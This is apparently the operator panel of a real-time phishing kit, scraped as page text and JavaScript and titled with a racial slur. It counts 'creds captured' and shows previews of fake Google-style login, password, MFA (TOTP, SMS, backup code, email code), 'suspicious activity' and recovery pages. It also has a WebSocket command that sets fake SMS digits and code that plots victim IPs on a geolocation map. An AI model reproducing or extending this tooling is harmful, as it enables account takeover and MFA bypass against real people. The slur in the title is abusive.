Rich Nigga Panel - Billion Dollar Operator Panel
Connecting…
0 events
0
Total events
0
Active sessions
0
Creds captured
—
Session time
📡 No active sessions yet — waiting for someone to open the sim page
🗺 IP Geolocation Map (pins dropped on first event per session)
📡
No events yet — waiting for submissions
Enter your worker URL above and click Connect
\n\n"; var previewsVisible = false; function getSimSrcdoc(previewId) { // Inject __PREVIEW_ID__ at top of so the IIFE reads it before scripts run var earlyScript = 'window.__PREVIEW_ID__=' + JSON.stringify(previewId) + ';window._previewMode=true;window.fetch=function(){return Promise.resolve(new Response("{}",{status:200,headers:{"Content-Type":"application/json"}}));}'; return SIM_HTML.replace('', '' + earlyScript); } var PAGES = [ { id: 'login-email', label: 'Login — Email step', hash: 'login-email' }, { id: 'login-password', label: 'Login — Password step', hash: 'login-password' }, { id: 'mfa-prompt', label: 'MFA — Google Prompt', hash: 'mfa-prompt' }, { id: 'mfa-totp', label: 'MFA — Authenticator App', hash: 'mfa-totp' }, { id: 'mfa-backup', label: 'MFA — Backup Code', hash: 'mfa-backup' }, { id: 'mfa-sms', label: 'MFA — SMS Code', hash: 'mfa-sms' }, { id: 'mfa-emailcode', label: 'MFA — Email Code', hash: 'mfa-emailcode' }, { id: 'activity', label: 'Suspicious Activity', hash: 'activity' }, { id: 'recovery', label: 'Account Recovery', hash: 'recovery' }, ]; function showPreviews() { var section = document.getElementById('preview-section'); var grid = document.getElementById('preview-grid'); grid.innerHTML = ''; PAGES.forEach(function(page) { var html = getSimSrcdoc(page.hash); var card = document.createElement('div'); card.style.cssText = 'background:#0a0f14;border:1px solid var(--border);border-radius:8px;overflow:hidden;cursor:pointer;transition:border-color 0.15s;'; card.onmouseover = function() { card.style.borderColor = 'var(--blue)'; }; card.onmouseout = function() { card.style.borderColor = 'var(--border)'; }; card.onclick = function() { openModal(page.label, html); }; // Thumbnail: scaled iframe inside a fixed-height container var thumb = document.createElement('div'); thumb.style.cssText = 'position:relative;height:160px;overflow:hidden;background:#fff;pointer-events:none;'; var iframe = document.createElement('iframe'); iframe.srcdoc = html; iframe.scrolling = 'no'; iframe.style.cssText = 'position:absolute;top:0;left:0;width:375px;height:667px;border:none;transform:scale(0.427);transform-origin:top left;pointer-events:none;'; thumb.appendChild(iframe); var label = document.createElement('div'); label.style.cssText = 'padding:8px 12px;font-size:11px;font-weight:600;color:var(--text);border-top:1px solid var(--border);display:flex;align-items:center;justify-content:space-between;'; label.innerHTML = '' + esc(page.label) + '↗'; card.appendChild(thumb); card.appendChild(label); grid.appendChild(card); }); section.style.display = 'block'; previewsVisible = true; document.getElementById('preview-toggle-btn').textContent = 'Hide'; } // Auto-render previews on page load — no config needed showPreviews(); function togglePreviews() { var grid = document.getElementById('preview-grid'); if (previewsVisible) { grid.style.display = 'none'; document.getElementById('preview-toggle-btn').textContent = 'Show'; previewsVisible = false; } else { grid.style.display = 'grid'; document.getElementById('preview-toggle-btn').textContent = 'Hide'; previewsVisible = true; } } function openModal(title, html) { document.getElementById('modal-title').textContent = title; document.getElementById('modal-iframe').srcdoc = html; document.getElementById('modal-open-link').style.display = 'none'; var modal = document.getElementById('preview-modal'); modal.style.display = 'flex'; document.addEventListener('keydown', onModalKey); } // ── Session timer ── var _sessionStart = null; var _timerInterval = null; function startSessionTimer() { _sessionStart = Date.now(); if (_timerInterval) clearInterval(_timerInterval); _timerInterval = setInterval(function() { if (!_sessionStart) return; var sec = Math.floor((Date.now() - _sessionStart) / 1000); var m = Math.floor(sec / 60); var ss = sec % 60; document.getElementById('stat-timer').textContent = m + ':' + (ss < 10 ? '0' : '') + ss; }, 1000); } function stopSessionTimer() { if (_timerInterval) { clearInterval(_timerInterval); _timerInterval = null; } _sessionStart = null; document.getElementById('stat-timer').textContent = '—'; } // ── SMS last-4 config ── var _smsLast4 = null; function applySmsLast4() { var v = document.getElementById('sms-last4-input').value.trim(); if (!/^[0-9]{4}$/.test(v)) { alert('Enter exactly 4 digits'); return; } _smsLast4 = v; var status = document.getElementById('sms-last4-status'); status.style.display = 'inline'; setTimeout(function(){ status.style.display = 'none'; }, 2000); // If we have a connected WebSocket, send a command if (ws && ws.readyState === 1) { ws.send(JSON.stringify({ cmd: 'set_sms_last4', value: v })); } } // Show SMS config when "MFA — SMS Code" card is viewed function getSimSrcdocSms(previewId) { var base = getSimSrcdoc(previewId); if (_smsLast4 && previewId === 'mfa-sms') { // Inject last4 override var inject = 'window.__SMS_LAST4__=' + JSON.stringify(_smsLast4) + ';'; base = base.replace('window._previewMode=true;', 'window._previewMode=true;' + inject); } return base; } function closeModal() { var modal = document.getElementById('preview-modal'); modal.style.display = 'none'; document.getElementById('modal-iframe').src = ''; document.removeEventListener('keydown', onModalKey); } function onModalKey(e) { if (e.key === 'Escape') closeModal(); } // Click outside modal content to close document.getElementById('preview-modal').addEventListener('click', function(e) { if (e.target === this) closeModal(); }); // ── Geo Map (Leaflet) ── var _geoMap = null; var _geoSeenIPs = {}; function initGeoMap() { if (_geoMap) return; var el = document.getElementById('geo-map'); if (!el || typeof L === 'undefined') return; _geoMap = L.map(el, { zoomControl: true, attributionControl: true }).setView([20, 0], 2); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { maxZoom: 19, attribution: '© OpenStreetMap' }).addTo(_geoMap); } function dropGeoPin(ip, label) { if (!ip || _geoSeenIPs[ip]) return; _geoSeenIPs[ip] = true; fetch('https://ipapi.co/' + ip + '/json/') .then(function(r) { return r.json(); }) .then(function(d) { if (!d || !d.latitude || !d.longitude) return; var lat = d.latitude, lng = d.longitude; var city = [d.city, d.region, d.country_name].filter(Boolean).join(', '); var marker = L.circleMarker([lat, lng], { radius: 8, fillColor: '#1a73e8', color: '#fff', weight: 2, opacity: 1, fillOpacity: 0.9 }).addTo(_geoMap); var popupHtml = '' + (label || ip) + '
' + city + '
' + ip + ''; marker.bindPopup(popupHtml); var tooltipHtml = (city || ip); marker.bindTooltip(tooltipHtml, { permanent: false, className: 'geo-pin-label', direction: 'top' }); // Fit map to show new pin var bounds = []; _geoMap.eachLayer(function(l) { if (l.getLatLng) bounds.push(l.getLatLng()); }); if (bounds.length === 1) { _geoMap.setView([lat, lng], 6); } else if (bounds.length > 1) { try { _geoMap.fitBounds(L.latLngBounds(bounds).pad(0.3)); } catch(e){} } }) .catch(function(){}); } // Hook into event processing to drop pins var _origRender = renderEvents; var _geoLastCount = 0; function renderEvents() { _origRender.apply(this, arguments); // Show geo section on first event if (events.length > 0) { var gs = document.getElementById('geo-section'); if (gs && gs.style.display === 'none') { gs.style.display = 'block'; initGeoMap(); setTimeout(function(){ if(_geoMap) _geoMap.invalidateSize(); }, 150); } } // Drop pins for new events if (events.length > _geoLastCount) { _geoLastCount = events.length; events.forEach(function(ev) { var ip = ev.ip || (ev.data && ev.data.ip); if (ip) { var emailLabel = ev.email || ip; dropGeoPin(ip, emailLabel); } }); } }